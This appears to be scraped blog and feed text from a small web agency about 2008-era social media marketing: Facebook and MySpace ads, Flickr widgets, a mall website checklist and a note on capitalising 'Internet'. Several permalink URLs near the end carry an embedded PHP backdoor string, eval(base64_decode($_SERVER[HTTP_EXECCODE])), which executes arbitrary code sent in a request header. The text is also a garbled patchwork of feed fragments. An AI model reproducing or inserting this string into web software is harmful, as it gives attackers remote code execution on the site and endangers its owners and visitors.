• there are 2 billion Google searches a day (source)
• there are 78 million YouTube videos online (source)
• over 100 million YouTube videos are viewed per day
• 346 million people globally read Blogs daily (source)
• 77% of active internet users read Blogs
• Facebook has 175 million users from 170 countries (source)
• Facebook users have an average of 120 friends
• the fastest growing demographic of Facebook users are 35 years old & older

The old economy may be drying up, but the new economy is awash in opportunities. Need a lifeboat? Give us call.

Almost every business benefits by using photos to help tell their story. Increasingly, businesses are turning to Flickr as the perfect channel for serving their pictures.

In the last few months, a tide of new tools for sharing Flickr photos and sets have flooded the market. For the most part, these are free utilities that you use on the web. You enter some info, click “Create” and grab some code to put on a web page or in your blog.

We’ve found a lot of great tools for re-distributing Flickr photos. Flickr makes its own tools (which are very nice). FlickrSlidr is also cool (see it on our Photo page).

Most of the widgets we found were approximately square in shape: 1:1 or maybe 4:3. So, when we needed a wide horizontal slide show widget (16:9 or better), we searched around and found Slideoo.

Slideoo is simple to use. We created the widget in about 5 minutes. Their embed code worked perfectly (see above).

You can set the width and picture size with Slideoo. The widget above is 500px wide with thumbnail pictures. The widget includes “+/-” buttons and a slider at the bottom. See a different config on our Portfolio page.

The emerging world of widgets lets us concentrate on content, not code, adding cool features without any programming. Slideoo is a great new tool in the utility belt.

IF YOU HAVE A FACEBOOK BUSINESS PAGE

If you already have a Facebook Page for your business, you need to go have a look at what the changes have wrought on your previous design.

Many people had previously used a work-around called Extended Info to add more content to FB Pages. That info is now assigned to the sidebar, leaving the new page mostly blank.

Visit your FB Page, update the content and send a blast to your fans.

IF YOU DON’T HAVE A FACEBOOK PAGE

If you have resisted getting a FB Page for your business, now is the time. With all the new functionality, there is sure to be a rush of new Pages.

Join the fray now. On your FB Home, click on Ads and Pages (on the right, under Applications). If you don’t have Ads and Pages, search under the Applications link and add it.

Malls, mixed-use developments, shopping centers - call them what you will, they dot the landscape of America.

Many of the larger developments have websites. For the most part, they’re pretty awful. So, when we were asked to produce a new website for North Hills, a mixed-use development in Raleigh, NC, our goal was to help bring the category into a Web 2.0 world.

Two months after the launch, we have every reason to feel we’ve achieved. Stats are great, everything works, and best of all, a continuing content stream is beginning to bloom. It’s interesting stuff, too - stories, bios, pictures and video.

So here’s a checklist of things we think a contemporary mall or mixed-use website needs.

The Basics

1. A page for each merchant
2. A picture for each merchant
3. Descriptive text for each merchant (more than just a phone number and an outside link)

It is surprising how few big developments have reached this level of information. See our collection of links for malls and mixed-use developments on Delicious (and please feel free to add links to other sites in the category).

The Finer Points

1. Interactive Map
2. Continuing Content Stream
3. Ad Platform

(1) The interactive map is a challenging bit of engineering and UI. We’ll write more about it soon. (2) In most cases, developing a rich content stream requires cultural change for clients. Training and continued support are mandatory to advance evolutionary adoption of web 2.0 tools like blogs and twitter. (3) Big developments like North Hills have the potential to draw big traffic. Why settle for pennies on the dollar when you could have it all with your own ad platform? Tune in again for a discussion about implementing your own ad server.

Best Practices

To boost the performance of a site in this category as measured by key stats like Time On Site and Page Views, here are a few best practices we can recommend:

1. Minimize outside links
2. Run outside content in an iframe within your site
3. Drive traffic to niches with CPC advertising
4. Pay attention to what Analytics tells you about your audience

The Last, Most Important Point

Like all other advertising and marketing ventures, success is rooted in a good agency-client relationship. We are deeply grateful to Kane Realty Corporation for their vision and their patience throughout this project.

Special thanks to:

• Anna Smith
• Mike Smith
• Bonner Gaylord
• Jon Masterson
• Katherine Knott
• Angela Slater
• Paul Newcomer
• Walt Stewart
• North Hills Security

For Goodtree & Company:

• George Gumpert, master programmer
• David Holt, design
• John Dixon, flash
• Leslie Huffman, merchant database and blogging diva
• Hal Goodtree, precious little

Thanks also to Allen Weiss, Michael Kimsal, Lindsey Chester, Paul Harnett, Dorothea Bitler, Jill Harris, Fiquet, Kevin and Stacey Jennings, Wick Morgan and Jason Peck. And thanks to Jake St. Peter and Mike McTaggart for their generous time.

Please contact us for more information about mall, shopping center and mixed-use development websites.

Brilliant piece from McKinsey:

“Six ways to make Web 2.0 work”

http://tinyurl.com/afouxt

THE FIRST STEP

The first thing to do if you want to advertise on Facebook is get yourself a profile. It’s free. Ads are used to promote Facebook Pages. Pages are associated with your profile.

You can build an unlimited number of pages on Facebook. But you can only have ONE profile. The rules and regs are very specific. You cannot create a second identity for your business.

MAKING AN AD

Once you have a profile and have created a page for your business, you’re ready to advertise. Select Ads & Pages from the menu of the right side of your Home.

On the top right, select Create an Ad.

The process involves four simple steps (and is a wonder of user-friendly design):

• Select a target (where do you want the ad to link)
• Create the ad (text and picture)
• Choose a target demographic
• Set a budget (how much per day, how much per click)

STEP 1 - TARGET

When viewers click on your ad, they are taken somewhere on the web. In step one, you selected where you want to send your traffic.

You can send your audience to an external web page, a Facebook Page (as we’ve selected) or you can copy an existing ad.

STEP 2 - CREATE AN AD

Creating an ad is as easy as writing a headline and a little body copy, then uploading a picture.

Help is always available on the right side of the page.

STEP 3 - DEMOGRAPHIC

Here’s where it gets interesting. Choose the region or city you want to reach. Add keywords that target your audience. Watch the audience size change as you alter the variables.

STEP 4 - BUDGET

Advertising is a relatively new thing on Facebook. Rates are pretty cheap and the site is not yet over-run with competing promotional messages. $25 gets you started.

Once you create a campaign, you can edit the budget and schedule. It’s a little counter-intuitive, but works ok in practice.

REVIEW YOUR CAMPAIGN

You get one last chance to review the campaign.

Change the ad or place the order.

WHY FACEBOOK IS A GOOD PLACE TO ADVERTISE

Lots of people want you to advertise with them online. What’s different about Facebook is that it’s like being invited to advertise in someone’s home.

The process is easy. The rates are cheap. The channel is relatively uncluttered. Why not give it a try?

]]> http://goodtreecompany.com/wordpress/2008/10/14/advertising-on-facebook/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 07 Oct 2008 15:30:48 +0000 Hal http://goodtreecompany.com/wordpress/?p=235 Both MySpace and Facebook have beefed up their offerings for advertisers. Today, we’ll talk a little about M/S because it has the more robust interface.

First of all, you don’t need a myspace account or a myspace profile to advertise. Even if you have a profile, you need to create a separate account for advertising.

Ads can be targeted by geography, gender, age and interest.

As well, MySpace ads offer interesting stats, just what you’d expect from a Google company. But maybe the best feature is Build an Ad:

Build an Ad has an easy-to-use interface that offers a lot of creative options. You can build a box ad or a banner. Use a pre-made template or upload a picture. Size, scale and color your fonts. Experienced designers and novices will like this feature.

AUDIENCE

Finally, a word about the audience. Every social portal has it’s own vibe and character. Here’s what we think:

• MySpace is like a bar
• Facebook is like the YMCA

If your product or service targets the party crowd - 21 to 30, not married - then MySpace has a powerful new way for you to reach your elusive audience. It’s not just for brewers of beer - MySpace is a great channel for reaching young adults interested in fitness, fashion, health, culture and more.

If your audience is adults 30 and up, tune in again for our upcoming post on Facebook advertising.

]]> http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/08/29/social-networking-the-big-three-for-business/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/08/29/social-networking-the-big-three-for-business/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 29 Aug 2008 15:10:28 +0000 Hal http://goodtreecompany.com/wordpress/?p=226 There are thousands of social portals on the internet, from massively mainstream to fantastically fringe. But lately, three social networks have emerged as must-haves for business people in a Web 2.0 world.

From start-ups to superstars in five years, social networking on the internet has swept across the planet, embracing the youngest users (teens) and washing upward like a tide. The tide has finally reached the baby boomers.

Last year, adults started watching YouTube in large numbers. This year, Facebook has surged since it opened it’s ranks to everyone. And Linked In, which was always about business, has added some significant new features that will advance it strongly into the future.

Every business has a story to tell and web video is the most powerful, persuasive way to tell it. YouTube is far and away the preeminent channel for serving and sharing video online.

It started as a network for students. It’s had its share of controversy. But in 2008, adults have been joining Facebook in a stampede. Reasons why FB is a must-have for business:

1. More wholesome than MySpace - FB feels like a giant picnic for family and friends. MySpace feels like a bar.
2. Real Names, Real Friends - With its emphasis on real names, FB lets you re-connect with your real-world friends, relatives and colleagues. These are people who already know you and trust you.

While not as mature as the first two, Linked In has become a very popular network for renewing business connections. It’s skewed toward people with longer careers - they tend to have more connections, recommendations and better resumes than younger workers. Today, LI rolled out some huge new enhancements to Linked In Groups. More about LI’s new features next week.

Participating in social networks increases the reach of your personal and professional message. It raises your rankings in search. But it’s also a time consuming process.

That’s why it’s good to see the dust settle a little, and three networks emerge as clear winners for business. Other portals have their charms, but people in business need to be on The Big Three In to stay relevant in a Web 2.0 world.

For some time now, we’ve been saving the best Web 2.0 sites to the social bookmarking portal del.icio.us. It works like this:

1. We come upon a site we like and click on a link or icon in our browser to “post to delicious.”
2. A little window pops up and we can add notes or keywords or even rename the link (some people give their web pages unfortunate names like “home,” so we change ‘em).
3. Presto - a new link is added to our collection.

We have over 250 links; more than 40 of them are tagged “Web 2.0.” They include design sites, color sites, good examples of Web 2.0 business sites, online tools and touchstones every modern enterprise should know.

Is it really the best collection of Web 2.0 links ever? Well, we’re working on it. If you have any great sites to share, post it in the comments or email us.

———–

Start your own social bookmarking site and share it with others:

Del.icio.us

This is an issue of some importance to all online copywriters. It’s bothered us for some time that Internet remains a proper noun – after all, we don’t capitalize Cable or Water or Electricity. But, like the Internet, they are all piped to the house by a utility.

Internet is not associated with the name of a person (like pasteurization or Darwinism) or a trademarked brand name (like Kodak and Kleenex). It’s not even a singular entity – I get mine from Earthlink. Maybe you get yours from Time Warner.

Furthermore, Internet has become the commonest of common words, reflecting its importance in contemporary society. Its rising usage parallels the decline of words including hi-fi, pager and fax.

All the major reference sources show Internet with a capital “I.” These include:

Dictionary.com Unabridged (v 1.1)
American Heritage Dictionary
Merriam-Webster

Microsoft Word always underlines in green our attempts to use internet instead of Internet. Interestingly, many dictionaries allow Google in lower case, as in “I googled it.”

So what’s up with the Internet? Maybe it’s the word “the” that sometimes precedes it. Makes the Internet feel all special and important. But even that’s fading away. We could correctly say (or write):

Kids today have always had the Internet.

Or:

Kids today have always had internet.

Here at Online-Copywriter, we think the Internet should get off its high horse and admit its commonness. Call it the price of popularity. The sainted William Safire would probably call us permissivists.

Other online copywriters are invited to weigh-in with their own heavy thinking about Internet.